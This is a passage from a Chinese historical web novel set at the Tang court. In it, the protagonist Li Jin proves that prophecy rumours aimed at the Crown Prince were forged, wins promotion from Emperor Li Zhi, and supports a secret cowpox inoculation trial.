萧瑀眉头一皱,冷声道:“李校书,朝堂之上,御前奏对,当言之有据。你口口声声称谣言乃‘伪造构陷’,可有证据?若无证据,便是诬指同僚,扰乱朝议!”
“萧相教训的是。” 李瑾不卑不亢,向萧瑀微一拱手,随即转向皇帝,“陛下,臣之所以断言谣言乃伪造构陷,乃因臣近日留心查访,发现其中破绽百出,稍加推敲,便可知其伪。”
“哦?有何破绽?你且细细道来。” 李治身体微微前倾。
“臣遵旨。” 李瑾清了清嗓子,声音清晰,回荡在寂静的大殿中,“谣言之一,言‘女主武王’古谶应在感业寺为先帝诵经之武氏。此谣言最大破绽,在于‘武曌’之名。武才人名‘曌’,乃其出宫入寺后,为明心志,自取之法号,寓意‘日月当空,佛法光明’。此名在寺中使用不过年余,且仅在寺中流传,外界罕有知者。而那‘女主武王’之谶,流传于数十年前太宗皇帝之世。试问,数十年前之谶语,如何能与年余前才出现、且仅限于寺内知晓的法号强行附会?此非附会,实乃有人得知武才人法号后,刻意攀扯,行构陷之事!此乃破绽一。”
殿中不少大臣暗自点头。这个逻辑很清晰,时间顺序完全对不上,构陷痕迹明显。
“其二,” 李瑾继续道,“谣言称有‘洛水古碑’出水,载有‘麟儿折足,东宫晦明;金刀入木,萧墙祸生’之谶文。此谣更是漏洞百出。首先,洛水乃大川,若有古碑出水,必是地方大事,洛阳官府、河道衙门岂能毫无奏报?臣已查过近日相关公文,并无只字提及洛水出古碑!其次,即便真有古碑,其铭文历经水浸土蚀,必然模糊难辨,岂能如谣言所传那般字句清晰、对仗工整?此不合常理。更关键者,臣近日查阅古籍,偶然发现……”
他故意停顿了一下,目光扫过萧瑀和王御史,见他们脸色微变,才缓缓道:“臣发现,前朝流传的谶书《推背图》残页中,有‘麟儿折足,东宫晦’之句,与谣言中之语几乎雷同!而另一散佚谶书《酉阳杂俎》辑录中,亦有‘金刀入木,祸起萧墙’之语!此等语句,皆非新创,而是抄录拼凑自古籍!伪造者从故纸堆中寻得只言片语,稍加篡改拼凑,便炮制出这所谓的‘洛水古碑’谶文,企图以古证今,淆乱视听!此乃破绽二,亦是其伪造之铁证!”
此言一出,满殿哗然!如果李瑾所言属实,那所谓“洛水古碑”谶文,就是彻头彻尾的伪造!而且伪造手段并不高明,只是抄书拼凑!
“李瑾!你休得胡言!” 王御史急声道,“你说谶文抄自古籍,有何凭据?你所言之谶书残页,现在何处?可能呈上御览?”
“陛下,” 李瑾不理会王御史,径直向皇帝奏道,“臣所言谶书残页,一在感业寺藏经阁旧档中,乃贞观年间查案所留抄本;另一在秘书省藏书《艺文类聚》谶纬部辑录之内。陛下可即刻派人查验。两处笔迹、纸质虽有差异,然句式、用词,与目前流传之谣言谶文,同出一源,明眼人一望便知。此等古籍,非等闲人可得见。能同时接触到感业寺旧档与秘书省秘藏,并从中精准摘抄拼凑者,绝非寻常百姓,必是身处庙堂、掌管或可接触文翰典籍之人!”
他的目光,似有意似无意地,再次掠过萧瑀。萧瑀身为尚书左仆射,位高权重,其家族亦有文名,接触秘书省等处的藏书,并非难事。而感业寺旧档,若有人以查询先帝旧事或其他名义,亦有可能得见。这个暗示,已经相当明显了。
萧瑀脸色阴沉,喝道:“李瑾!你此言何意?莫非是暗指老夫伪造谶纬?老夫位列三公,受先帝、陛下厚恩,岂会行此卑劣之事!你无凭无据,在此含沙射影,诋毁大臣,该当何罪!”
“萧相息怒。” 李瑾依旧平静,“臣并未指认任何人。臣只是依据查得之线索,指出谣言谶文系伪造,且伪造者需有接触特定古籍之条件。至于何人符合此条件,陛下圣明,自有明断。然,除此之外,关于‘洛水古碑’,臣还查到另一线索。”
他转向皇帝,继续道:“陛下,左监门将军郭孝恪麾下,有一洛阳籍校尉,月前返乡,曾于洛水边见有数名石工,鬼鬼祟祟,于夜间雕凿一物,形似碑碣。因其行迹可疑,校尉曾派人暗中留意,然未得结果。近日洛阳确有‘古碑出水’之传言兴起,然官府查之,并无实物。陛下,岂不闻‘贼喊捉贼’、‘欲盖弥彰’?真正的‘古碑’或许从未存在,存在的只是几个深夜凿石的鬼祟石工,和随之而来、精心编造的谣言!此等行径,与伪造谶文,何其相似?皆是先造‘物证’或‘文证’,再散播谣言,以售其奸!”
“洛水石工”一事被抛出,殿中气氛更加紧绷。如果此事属实,那“古碑”谣言就彻底坐实是人为伪造了!而能驱使石工在洛水边伪造碑碣的,也绝非寻常人物。
“陛下!” 萧瑀显然有些急了,再次出列,“此皆李瑾一面之词!所谓谶书残页、洛水石工,皆可捏造!他一个区区校书郎,何以得知这些?又为何在此刻抛出?分明是受人指使,混淆是非,转移视线,为其同党开脱!”
面对萧瑀的指控,李瑾并未慌乱,反而向前一步,对皇帝深深一揖:“陛下,臣是否受人指使,是否捏造事实,其实不难验证。请陛下即刻下旨,第一,派人前往感业寺、秘书省,调取臣所言谶书残页与《艺文类聚》相关辑录,比对笔迹、内容。第二,传召郭将军麾下洛阳籍校尉,询问洛水石工详情。第三,也是最重要的一点……”
他抬起头,目光炯炯,直视御座:“请陛下想一想,此等精心伪造的谶纬谣言,最大的受益者是谁?谁最希望太子殿下名声受损、病情被疑?谁最希望将‘谋害储君’的嫌疑,引向与‘刘’姓、与医药相关的臣子(如太医署)?又是谁,最急于将祸水引向感业寺中为先帝祈福、与人无争的旧人?谣言四起,朝野不安,东宫摇动,而有人却可坐收渔利,甚至借此排除异己,巩固己势。此等心思,才真正是‘祸起萧墙’!”
他没有指名道姓,但字字句句,皆如利剑,直指萧淑妃一系!太子若倒,养子(王皇后所养)地位动摇,谁有可能母凭子贵?太医署若被疑,谁能趁机安插自己人?武曌若被污,谁能在后宫少一潜在对手?谣言一起,朝局动荡,谁又能趁乱攫取权力,打击政敌?
殿中死一般的寂静。李瑾这番诛心之论,结合之前列举的“伪造证据”,已将萧瑀和王御史逼到了墙角。许多原本中立的官员,看向萧瑀的目光,也带上了深深的怀疑。
萧瑀脸色铁青,胸口剧烈起伏,指着李瑾,厉声道:“你……你血口喷人!陛下,此子妖言惑众,构陷大臣,离间君臣,其心可诛!请陛下立刻将其拿下,严加审讯,必能揪出其幕后主使!”
“萧相此言,才是真正的欲加之罪!” 一个苍老而威严的声音响起,只见长孙无忌缓步出列,他先是看了李瑾一眼,目光深沉难测,然后对皇帝拱手道,“陛下,老臣以为,李校书今日所言,虽有臆测之处,然其所举谶书疑点、洛水石工之事,皆可查证。谶纬之事,关乎天命人心,不可不察,亦不可不辨其真伪。若果真有人伪造谶纬,构陷宫闱,诅咒东宫,此乃十恶不赦之大罪!当彻查到底,以-正-国-法,以安社稷。至于李校书是否构陷,待证据查明,自然分明。然其敢于在朝堂之上,直指谣言破绽,其忠其勇,亦可嘉许。”
长孙无忌这番话,看似公允,实则站在了李瑾一边。他强调“查证”,支持追查“伪造谶纬”之罪,这无疑给了李瑾最大的支持,也将萧瑀“立刻拿下李瑾”的要求挡了回去。同时,他也将“是否构陷”的判定,推给了“证据查明”,留下了转圜余地。
褚遂良、于志宁等重臣也相继出列,表态支持彻底查清谣言源头,严惩伪造者。形势瞬间逆转。
御座之上,李治的目光,在李瑾、萧瑀、长孙无忌等人身上缓缓扫过,最终停留在李瑾身上,眼中翻涌着复杂的情绪——有审视,有探究,有一丝释然,也有一丝冰冷的怒意。怒意自然是对那伪造谶纬、搅动风云的幕后黑手。
“众卿所言,俱有道理。” 李治缓缓开口,声音不高,却带着帝王的决断,“谶纬妖言,惑乱人心,诅咒东宫,其罪当诛!着即成立三司,由刑部、御史台、大理寺共同督办,严查此次谣言源头,尤其是李瑾所言之谶书来源、洛水石工二事,务必查个水落石出!凡有牵连者,无论身份,一查到底,绝不姑息!”
“陛下圣明!” 群臣齐声应和。
李治又看向李瑾,语气稍缓:“李瑾,你今日所奏,条理清晰,虽有推测,然不无见地。着你将所知线索、疑点,详细写成条陈,交付三司,协助查案。至于你是否受人指使、有无构陷……”
“臣愿具结担保,所言句句属实,若有半字虚言,甘受极刑!” 李瑾毫不犹豫,再次跪倒,声音斩钉截铁。
“嗯。” 李治点了点头,“在案情查明之前,你仍需尽心东宫职事,不得怠慢。退下吧。”
“臣,谢陛下!吾皇万岁万岁万万岁!” 李瑾郑重叩首,起身,在无数道目光的注视下,稳步退出大殿。他知道,这场金殿之上的交锋,他暂时占了上风。皇帝下令彻查,长孙无忌等重臣表态支持,伪造谶纬的阴谋已被撕开一道巨大的口子。接下来,就是证据的较量,权力的博弈。
走出太极殿,寒风扑面,李瑾却感到一阵热血上涌,又带着冰冷的清醒。他知道,真正的战斗,或许才刚刚开始。三司会审,对方绝不会坐以待毙,必然会疯狂反扑,销毁证据,甚至可能嫁祸于人。萧瑀树大根深,在朝中势力盘根错节,想要扳倒他,绝非易事。
但无论如何,他已经在最庄严的朝堂之上,公开揭露了阴谋,为自己、为武曌、为刘神威、也为太子和皇后,争得了一线生机和反击的机会。金殿证清白,第一步,他走对了。
他抬头,望向阴云密布的天空,深深吸了一口冰冷的空气。接下来,他要将武曌提供的关于“谶书散页笔迹”的关键线索,以及可能与萧瑀府上关联的线索,巧妙地透露给三司中可靠之人。同时,他也要提醒刘神威、杜铭等人,加强戒备,谨防对手狗急跳墙。
这盘棋,已然到了中盘绞杀的关键时刻。而他李瑾,已从一枚不起眼的边角之子,变成了搅动全局的胜负手。
第39章 晋王得辅翼
金殿一役,余波未平。皇帝下旨三司会审彻查“谶纬谣言”一案,如同巨石投入本已暗流涌动的深潭,激起千层浪。朝堂之上,表面波澜不惊,实则人人自危,暗地里的目光交错、私下里的打探串联,比往日更盛。萧瑀告病不朝,其门生故旧、姻亲盟友的府邸,一时间也门庭冷落了许多,仿佛都沾染了某种无形的晦气。与之相对,东宫左庶子于志宁、以及一些素来与王皇后一系(或曰太子一系)较为亲近的官员,腰杆似乎挺直了些许,虽然依旧谨慎,但眉宇间的凝重稍减。
李瑾的生活,在经历了一场近乎公开的朝堂搏杀后,发生了微妙而深刻的变化。皇帝并未因他“大胆妄言”而加罪,反而责令他“协助查案”,这本身就传递了一个清晰的信号。他在司经局的廨署,开始不时有品阶不一的官员“路过”拜访,或是请教“经义疑难”,或是谈论“朝中趣闻”,言语间不乏试探与交好之意。李瑾依旧秉持着谦逊低调的作风,对来访者客气有礼,但涉及朝政、谶纬案、乃至东宫之事,皆以“下官位卑,不敢妄议”、“案情未明,不敢揣测”为由,滴水不漏地应付过去。他知道,此刻不知多少双眼睛在盯着自己,任何得意忘形或口风不严,都可能带来灭顶之灾。
他将武曌提供的关于“谶书散页”的具体信息(如存放位置、大致内容、笔迹特征),以及郭老夫人处得来的关于“洛水石工”的线索,择其关键、隐去敏感来源后,写成一份详尽的条陈,通过正式渠道呈递给了主理此案的刑部侍郎(此人是长孙无忌的门生,素以刚正闻名,与萧瑀一系并不融洽)。条陈中,他着重强调了三点:一、谶文内容与古籍雷同,显系抄录拼凑;二、伪造者需有接触特定古籍的条件;三、“洛水古碑”子虚乌有,但“石工凿碑”之事或可追查。他并未在条陈中直接指向任何人,只是将线索和疑点罗列,交由三司判断。
与此同时,他通过李福和王掌柜,密切关注着萧氏外戚、“保和堂”以及那位太医署刘姓少监的动向。果不其然,风声鹤唳之下,对方开始有所动作。先是“保和堂”的坐堂郎中突然“回老家探亲”,铺子暂时歇业;接着,萧瑀府中传出消息,其一位掌管文书、与秘书省常有往来的远房侄儿,也“突发急症”,被送到城外庄园“静养”。那位刘姓少监,则表现得异常“勤勉”,主动请缨负责一批药材的检验入库,几乎整日泡在太医署的药库,似乎在刻意制造“忙碌”且“置身事外”的形象。
这些举动,在李瑾看来,更像是欲盖弥彰,急于切割、隐藏证据。他让王掌柜动用最隐蔽的眼线,盯紧那个“探亲”的郎中和“静养”的萧家侄儿,看他们是否真的离开长安,又去往何处。同时,他也提醒刘神威,留意太医署内,尤其是药库、档案房等关键区域,近日有无异常人员出入或物品变动。
谶纬案的调查在紧锣密鼓地进行,而东宫的核心——太子李忠的病情,也在牵动着所有人的心。或许是得益于王皇后的悉心照料和太医署的竭力维持,或许是太子年轻的生命力终究挣扎出了一线生机,进入正月后,太子的病情竟出现了转机。持续月余的低热终于褪去,身上的脓疮开始收敛、结痂,咳喘也大为减轻,虽然人依旧消瘦虚弱,精神不济,但已能偶尔在搀扶下坐起,进些清淡的饮食,甚至能简单说几句话。这个消息,无疑给愁云惨淡的东宫带来了一线曙光,也让皇帝李治紧锁的眉头,稍稍舒展了少许。
李瑾借着“整理需太子静阅的经史摘要”之名,数次前往丽正殿外围请安,通过内侍的口,了解太子的点滴好转。他也将从刘神威处得到的、关于牛痘接种者(东宫第一批二十余人)全部顺利度过观察期、无人出现严重反应、且初步验证了对痘疮毒液有一定抵抗力的消息,以极为隐晦的方式,通过周尚宫递给了王皇后。他知道,此刻任何一点积极的信号,对皇后和太子都是莫大的安慰,也能增加他们面对后续风波的底气。
然而,树欲静而风不止。就在太子病情略有好转、谶纬案调查进入深水区时,一场新的风波,以一种意想不到的方式,再次将李瑾推到了皇帝面前。
这日,李瑾被皇帝紧急传召至两仪殿偏殿。殿内除了皇帝李治,还有长孙无忌、褚遂良,以及一位身着紫袍、面容清癯、气质儒雅的中年官员——正是晋王李治的舅父,中书令柳奭。柳奭之女是太子李忠的生母,早逝,因此柳奭亦是太子外祖,属于铁杆的“太子党”,与王皇后关系密切。
气氛有些凝重。李治手中拿着一份奏疏,脸色阴沉。见李瑾进来行礼,他摆了摆手,直接将奏疏递给长孙无忌:“司徒,你也看看。萧瑀上的请罪疏,还有这份……‘澄清’奏报。”
长孙无忌接过,快速浏览,眉头微皱,然后递给褚遂良,褚遂良看罢,也是面色沉凝,最后传给了柳奭。柳奭看后,冷哼一声,将奏疏放在案上。
“李瑾,” 李治看向他,声音听不出喜怒,“萧瑀上疏,自言管教不严,致其门下文吏(指那位‘静养’的侄儿)私窥秘书省藏书,抄录谶纬残篇,酒后失言,致使谣言流传,惊扰宫闱。其已将那文吏移交有司,自请罚俸、闭门思过。同时,他附上了一份洛阳县令的奏报,言已查实,洛水边确有游手好闲之徒,假扮石工,凿石嬉戏,并无伪造碑碣之事,所谓‘校尉所见’,乃以讹传讹。萧瑀自言,其门人孟浪,其督查不力,甘受陛下任何惩处,唯求陛下勿因宵小之辈之过,伤了君臣和气,寒了老臣之心。”
李瑾心头一凛。好一招丢卒保帅,金蝉脱壳!萧瑀这是要断尾求生了!将一切都推到“门下文吏”身上,而且只是“私窥藏书”、“酒后失言”,最多算是行为不检、疏于管教,与“伪造谶纬、诅咒东宫”的十恶大罪,差了十万八千里!至于“洛水石工”,更是直接定性为“游手好闲之徒嬉戏”,彻底否定了“伪造”的可能。这样一来,谶纬案最大的两个“物证”链条(谶书来源、古碑伪造)都被他轻描淡写地化解了,还摆出一副“勇于担责、顾全大局”的老臣姿态。这份请罪疏,看似请罪,实则为开脱,而且将了皇帝一军——若严惩,显得皇帝不念旧臣、小题大做;若轻轻放下,则此前大张旗鼓的三司会审,就成了笑话,谣言背后的真凶依旧逍遥,太子和皇后的委屈无处伸张。
“陛下,” 长孙无忌缓缓开口,“萧相此疏,认错态度倒是恳切。只是……将如此重大的谣言风波,归咎于一门吏酒后失言,未免过于儿戏。那谶文拼凑工整,直指宫闱东宫,岂是醉汉胡言所能为?且其时间拿捏如此之巧,恰在太子病重、人心浮动之际,若说背后无人指使,老臣实难相信。至于洛阳之事,一纸县令奏报,恐难尽信。”
褚遂良也道:“长孙司徒所言极是。此案关乎国本,非同小可。仅凭萧相一疏,恐难服众。三司既已介入,当查个水落石出,方是正理。”
柳奭更是直接:“陛下!萧瑀此乃避重就轻,推诿罪责!其门人如何能轻易私窥秘书省禁书?又岂能恰好抄得与谣言契合之谶文?洛阳之事,更是疑点重重!臣恳请陛下,责令三司继续深挖,务必揪出幕后主使,还东宫、还皇后殿下一个公道!”
三位重臣,态度分明。长孙无忌、褚遂良主张继续查,但语气留有回旋;柳奭则态度强硬,要求彻查到底。显然,朝中支持太子与皇后的力量,不想就此放过打击萧瑀(及背后萧淑妃)的机会。
李治的目光再次投向李瑾:“李瑾,此案你最先揭露疑点,也最清楚其中关节。以你之见,萧瑀此疏,是实是虚?此案,当如何了结?”
压力再次集中到李瑾身上。他知道,皇帝此问,既是考较,也是在寻找一个既能维护朝廷体面、又能平息事端、还能对各方有所交代的“解决方案”。他不能顺着柳奭的意思要求“彻查到底”,那会逼得萧瑀狗急跳墙,朝局可能真的失控,皇帝未必愿意看到。他也不能替萧瑀开脱,那会彻底得罪太子一系,也违背自己初衷。他必须给出一个既能打击对手、又能顾全大局、还能体现自己价值的建议。
他沉吟片刻,组织语言,缓缓道:“陛下,萧相此疏,臣不敢妄断虚实。然臣以为,此案关键,不在是否揪出一两个‘门吏’或‘石工’,而在于其背后所欲达成的目的,以及此目的是否已经达成,或是否被阻止。”
“哦?此言何解?” 李治眼中闪过一丝兴味。
“谣言四起,其目的无非有三:一,污损宫闱,动摇圣德;二,诅咒东宫,动摇国本;三,构陷忠良,扰乱朝纲。” 李瑾条分缕析,“今陛下圣心独照,明察秋毫,未为谣言所惑,反下旨严查,此第一目的,已然落空。太子殿下仁孝,得上天庇佑,陛下、皇后慈爱,病情已有好转之象,此第二目的,亦受挫折。至于第三目的……”
他顿了顿,看向御案上萧瑀的请罪疏:“萧相自承管教不严,门人失德,此已是对其声望之打击。若陛下能借此,申饬其治家不严、有负圣恩,罚其俸禄,令其闭门思过,并借此整顿朝纲,严禁私窥禁书、传播妖言,则朝野皆知陛下维护纲纪、庇护东宫之决心,宵小之辈自然敛迹。如此,谣言背后的目的——扰乱朝纲、打击异己——非但未能达成,反使朝纲为之一肃,正气得以伸张。至于是否还有更深藏的‘幕后主使’,陛下天威莫测,圣心烛照,自有明断。且经此一事,其人心虚胆怯,行迹已露,日后若再有不轨,陛下与朝廷,防范起来也更容易些。”
他这番话,可谓机锋暗藏。表面上,他建议“高高举起,轻轻落下”,接受萧瑀的“请罪”,以“申饬罚俸、闭门思过”了结,似乎是在为萧瑀开脱。但实际上,他强调的是“打击对手目的”、“肃清朝纲”、“震慑宵小”,并将最终是否追究“幕后主使”的决定权,巧妙地交还给皇帝,既给了皇帝台阶下,又暗示“主使”已暴露,未来可轻易拿捏。更重要的是,他将此事的处理,与“维护太子”、“整顿朝纲”这个大义名分挂钩,使得惩罚萧瑀(哪怕是象征性的)变得顺理成章,且能收获政治上的积极效果。
长孙无忌听罢,深深看了李瑾一眼,抚须不语,但眼中闪过一丝几不可察的赞许。褚遂良也微微颔首。柳奭虽然觉得不够解气,但也明白,在目前没有铁证直接扳倒萧瑀的情况下,这或许是能让太子一方利益最大化的处理方式了——既打击了对手气焰,又彰显了己方“顾全大局”,还能让皇帝下得来台。
李治沉默良久,手指轻轻敲击着御案。显然,李瑾的建议,说中了他的某些心思。他既不想朝局因彻查萧瑀而彻底撕裂(毕竟萧瑀是顾命老臣,背后关联甚广),也不能让制造谣言的势力逍遥法外、毫无惩戒。李瑾提出的方案,提供了一个看似折中、实则蕴含主动权的选择。
“李瑾,” 李治缓缓开口,语气已然不同,“你能跳出具体人事纠葛,着眼朝局大势,思虑周全,甚合朕心。太子病中,你能尽忠职守,献策分忧;谶纬一案,你能明察秋毫,直指要害;今日之言,又能统筹兼顾,老成谋国。朕心甚慰。”
这是极高的评价!尤其是“老成谋国”四字,从一个年轻皇帝口中说出,评价一个二十出头的年轻臣子,分量极重。
“臣愧不敢当,此乃臣之本分。” 李瑾连忙躬身。
“嗯。” 李治点点头,似乎下定了决心,对长孙无忌等人道,“就依李瑾所奏之意,拟旨吧。萧瑀管教不严,门人失德,着即罚俸一年,闭门思过三月,无诏不得入朝。其所呈之文吏,交由三司依律处置。洛阳之事,既已查明乃无赖嬉戏,不必再究。另,诏告天下,严禁私传谶纬妖言,违者重惩。秘书省等禁中藏书,严加管理,不得私窥。太子仁孝感天,病情渐愈,朕心稍安,着有司备赏,犒劳东宫侍奉人等及太医署有功人员。”
“陛下圣明!” 长孙无忌、褚遂良、柳奭齐声应道。这个结果,各方虽然未必完全满意,但都能接受。萧瑀受罚,颜面扫地,势力受挫;太子一方得了实惠(犒赏)和面子(皇帝公开肯定太子“仁孝感天”);皇帝维护了朝局稳定,彰显了权威;李瑾则展现了他的价值,获得了皇帝更深的赏识。
“李瑾,” 李治再次看向他,眼中带着一丝不易察觉的期许,“你之才,不止于校书讲学。太子病体仍需将养,东宫诸事繁杂。朕擢你为太子右赞善大夫(正五品下),仍兼司经局校书郎,协助左庶子于志宁,处理东宫日常文翰,参赞机要。望你勤勉王事,尽心辅弼太子。”
太子右赞善大夫!正五品下!虽然仍是东宫属官,但品阶连跳数级,从从九品下的微末小吏,一跃成为有资格参与东宫核心事务的中级官员!更重要的是,“参赞机要”四个字,赋予了他在东宫体系内实质性的建议和参与权!这不仅是酬功,更是明确的信任和重用信号!意味着皇帝正式将他视为了可以培养、可以倚重的“太子辅翼”!
“臣,谢陛下隆恩!必当肝脑涂地,以报陛下知遇之恩,竭尽驽钝,以辅太子殿下!” 李瑾强压心中激荡,大礼参拜。他知道,这一步,至关重要。从此,他不再仅仅是游离于东宫边缘的“讲学”或“校书”,而是真正进入了东宫权力运行的核心圈层,成为了“晋王”(李治继位前封晋王,此处代指皇帝一系)信赖的得力助手之一。
“平身吧。好生去做。” 李治挥了挥手,脸上露出一丝难得的倦色与放松。
退出两仪殿,午后的阳光有些刺眼。李瑾站在殿前高阶上,感受着料峭春寒,心中却是一片滚烫。短短数月,从籍籍无名的破落宗室子,到诗会扬名,献香入宫,卷入风波,献牛痘策,金殿辩诬,直至今日擢升为太子右赞善大夫,成为皇帝和太子眼中值得倚重的“辅翼”,这一步步行来,如履薄冰,却也步步惊心,步步为营。
他知道,这并非终点,而是新的起点。职位高了,权力大了,盯着他的眼睛也会更多,明枪暗箭只会更甚。萧瑀虽暂时受挫,但根基未倒,萧淑妃在宫中依然得宠,敌意只会更深。东宫内部,也并非铁板一块,于志宁等老臣是否能真心接纳他这个“骤贵”的年轻人?太子病情只是好转,远未康复,国本隐忧仍在。而感业寺中的武曌,依然处境微妙,谣言虽破,但恶名已沾,未来如何,仍是未知。
但无论如何,他手中可用的筹码,实实在在增加了。太子右赞善大夫的身份,让他可以更名正言顺地接触东宫核心事务,了解朝局动向,甚至影响太子。皇帝的赏识与信任,是一道无形的护身符。与长孙无忌、刘神威、杜铭(及其背后的杜家、王皇后)建立的良好关系,也是重要的资源。当然,还有他与武曌那隐秘而坚实的同盟,以及正在稳步发展的“明玻”工坊和市井人脉。
他迈步走下台阶,步伐沉稳。春风已悄然捎来一丝暖意,吹拂着皇城的飞檐斗拱。前路依旧漫长险峻,但他已不再是那个只能被动应对、在夹缝中求存的棋子。他有了自己的位置,自己的声音,甚至,有了初步搅动风云的能力。
晋王得辅翼,潜龙渐腾渊。这盘以天下为棋盘、以众生为棋子的宏大棋局,他终于有资格,坐到棋盘边,执子而弈了。
第40章 东宫位渐稳
正月的长安,积雪未消,但空气中已悄然渗入一丝不易察觉的、属于早春的料峭与微润。随着皇帝对“谶纬案”的最终裁决以诏书形式颁行天下,持续了半个多月的朝堂风波,如同被投入滚石的湖面,在激起最大的涟漪后,开始以一种被强力约束的秩序,缓缓归于表面的平静。
萧瑀罚俸一年,闭门思过三月,无诏不得入朝。这份惩处,于其声望和实权皆是沉重打击。其门下那个“私窥禁书、酒后失言”的远房侄儿,被移交三司,依“妄言巫蛊、扰乱宫禁”之律判了流刑,发配岭南。洛阳县令因“查案不力、奏报失实”被申饬罚俸。皇帝同时下诏,严禁私传谶纬,违者以“左道惑众”论罪,并着令秘书省、内侍省等严管禁中藏书。至于“洛水石工”与“保和堂郎中”,因“查无实据”或“行踪不明”,暂时悬置,但暗中的追查,是否会因萧瑀的“闭门”而彻底停止,无人敢断言。
这份裁决,如同一道清晰的分界线。朝野上下都看明白了:皇帝终究是顾念了萧瑀的元老身份和拥立之功,没有穷追猛打,使其身败名裂;但也毫不留情地削其权柄、折其羽翼,并借其“管教不严”之名,敲打了所有可能心思浮动的臣子。更重要的是,皇帝通过此诏,明确表达了对“诅咒东宫”、“扰乱朝纲”行径的零容忍,以及对太子李忠的维护态度。东宫的地位,经此一役,非但没有因太子的重病而动摇,反而因皇帝的公开背书和对手的受挫,显得比之前更加“稳固”了几分——至少,在法理和舆论上如此。
李瑾正式以太子右赞善大夫(正五品下)的身份,入值东宫,协助左庶子于志宁处理日常文翰机要。他的廨署从司经局那间狭小的偏房,搬到了丽正殿东侧一处更为轩敞、陈设也更齐整的独立院落,与于志宁及其他几位东宫重要属官相邻。官袍换成了浅绯色,银带,佩水苍玉,行走在朱墙碧瓦的东宫之中,已然是另一番气象。
然而,地位跃升带来的不仅是便利,更有无形的压力与审视。于志宁对他依旧严肃,但吩咐公事时,语气中多了几分“自己人”的斟酌与商量。东宫其他属官,如太子洗马、司议郎、舍人等,对他的态度也复杂起来,有羡慕,有嫉妒,有审视,也有刻意交好。李瑾深知,自己根基尚浅,又是“骤贵”,必须更加谨言慎行,以才干和勤勉服人。他将绝大部分精力投入繁杂的公文中,处理往来文书、草拟奏疏、整理会议纪要,事事力求条理清晰、措辞严谨,对于志宁的安排更是令行禁止,绝无二话。闲暇时,则手不释卷,或是研读经史,或是翻阅地理、物产、律法等方面的“杂书”,充实自己。他刻意与同僚保持着不近不远的距离,既不孤高自许,也不结党营私,只在涉及公务时,才展现出敏锐的洞察与高效的执行力。渐渐地,那种因他“年轻得宠”而生的异样目光,在“能者多劳、踏实肯干”的印象中,逐渐淡化。
朝堂之外,牛痘的推广在刘神威的主持下,进入了新的阶段。东宫第一批接种的二十余名内侍宫人安然无恙,且对“痘毒”产生了明显抵抗力的消息,在太医署小范围内得到了验证。刘神威借此机会,向皇帝上了一道密奏,详述试验成果,并建议在严格保密和控制下,逐步扩大接种范围,先覆盖整个东宫侍奉人员及部分轮值禁军,以构建更稳固的防疫屏障,确保太子养病环境的安全。皇帝很快批复同意,并拨付了专项密款。于是,在极度隐秘的操作下,一批批经过严格筛选和培训的太医署学徒,开始以各种名义,为东宫及周边相关人员接种牛痘。此事被列为最高机密,知情人屈指可数,进展平稳。
与此同时,太子的病情继续向好的方向发展。低热彻底退去,脓疮尽数结痂脱落,虽然留下了些淡粉色的疤痕,但已无大碍。咳喘基本平息,胃口渐开,精神也一日好过一日。尽管依旧瘦弱,需要搀扶行走,说话中气不足,但那双曾经失神的眼睛,重新恢复了清明,偶尔还能就李瑾为他挑选的、简化过的“杂学趣闻”提出一两个问题。王皇后的脸上,终于见到了久违的、发自内心的浅淡笑容,虽然依旧难掩疲惫。皇帝李治前往东宫探视的次数和停留时间,也明显增多,父子间的交谈虽然简短,但气氛明显缓和。
这一切的转机,看似是太子自身生命力的顽强和太医的精心治疗,但明眼人都能感觉到,自“谶纬案”了结、萧瑀闭门、朝局压力骤减后,东宫上下的“气场”为之一变,连空气都仿佛清新顺畅了许多。太子身处其中,心境放松,自然有利于康复。这种“人病”与“时病”相互影响的微妙关系,或许只有身处漩涡中心的人,才能深切体会。
李瑾并未因局势向好而放松警惕。他让王掌柜和李福的耳目,依旧保持着对萧氏外戚及相关人员动向的监控。萧瑀府邸大门紧闭,但其子侄、门人并未完全消停,与一些朝臣、尤其是与萧淑妃宫中女官家人的私下往来,似乎更加隐秘频繁。那位“探亲”的保和堂郎中始终没有回长安,据说真的回了江南老家。太医署的刘姓少监,在“勤勉”了一阵后,似乎也沉寂下来,但李瑾让刘神威暗中留意,发现他偶尔会“无意间”问及牛痘试验的“进展”和“难点”,虽然问得隐晦,但其关切之情,溢于言表。
“沉渣泛起,暗流未息啊。” 李瑾在给武曌的密信中如此写道。他提醒武曌,虽然谣言已破,但恶名如影,她在感业寺中仍需深居简出,静待时机,尤其要借助好慧明和郭老夫人这条线,巩固“潜心向佛、不问世事”的形象,同时留意宫中(尤其是萧淑妃处)对“谶纬案”了结后的反应。
武曌的回信,冷静依旧,却透着一丝不易察觉的锋芒:“君言甚是。风雨暂歇,非是天晴,乃蓄力耳。妾在寺中,一切安好,慧明已固,郭老夫人情谊日笃,近日更提及欲为妾在陛下、皇后面前进言,言妾‘诵经虔誠,可為太子祈福’。妾已婉拒,然其意可感。东宫稳,则妾之危暂解。然萧妃处,恐不会甘心。闻其近日常伴驾侧,温柔小意,更以‘忧心太子、自责未能分忧’为由,屡向陛下进献安神补品、新奇玩物,以固君心。此女能屈能伸,不可小觑。君在朝,升迁可喜,然木秀于林,风必摧之,万望慎之。牛痘事成,实乃大善,此术活人,功德无量,亦为君之根基。阅后即焚。”
武曌的提醒,与李瑾的判断不谋而合。萧淑妃正在用另一种更柔软、更难以指责的方式,巩固甚至扩大自己的影响力。而牛痘的成功,确实是李瑾目前最重要的“实绩”和潜在的政治资本。
二月初二,龙抬头。这一日,皇帝在紫宸殿召集了一次小范围的御前会议,参与的有长孙无忌、褚遂良、于志宁、柳奭,以及新晋的太子右赞善大夫李瑾。议题本是关于开春后河东、陇右的边备与农事,但议到一半,刘神威被紧急传召入殿。
刘神威手捧一份奏报,神色激动中带着庄重:“陛下,臣有要事启奏!太医署奉密旨所行‘以弱毒防痘疮’之法,于东宫及部分禁军中共计三百一十七人试种,历经月余观察,除十余人有轻微发热、局部红肿(皆数日内自愈)外,余者皆安然无恙,无一人出现痘疮重症!更可喜者,昨日京兆府来报,长安城外一村庄突发痘疮疫情,有患者数人。臣急调三名已完成接种、且自愿前往的东宫内侍,以协助隔离救护之名前往。三人与病患同处一室照料数日,归来后经严密检查,竟无一人染病!反观同去未接种之杂役二人,皆已出现发热出疹之兆!此足可证明,此‘牛痘’接种之法,对预防痘疮确有奇效!”
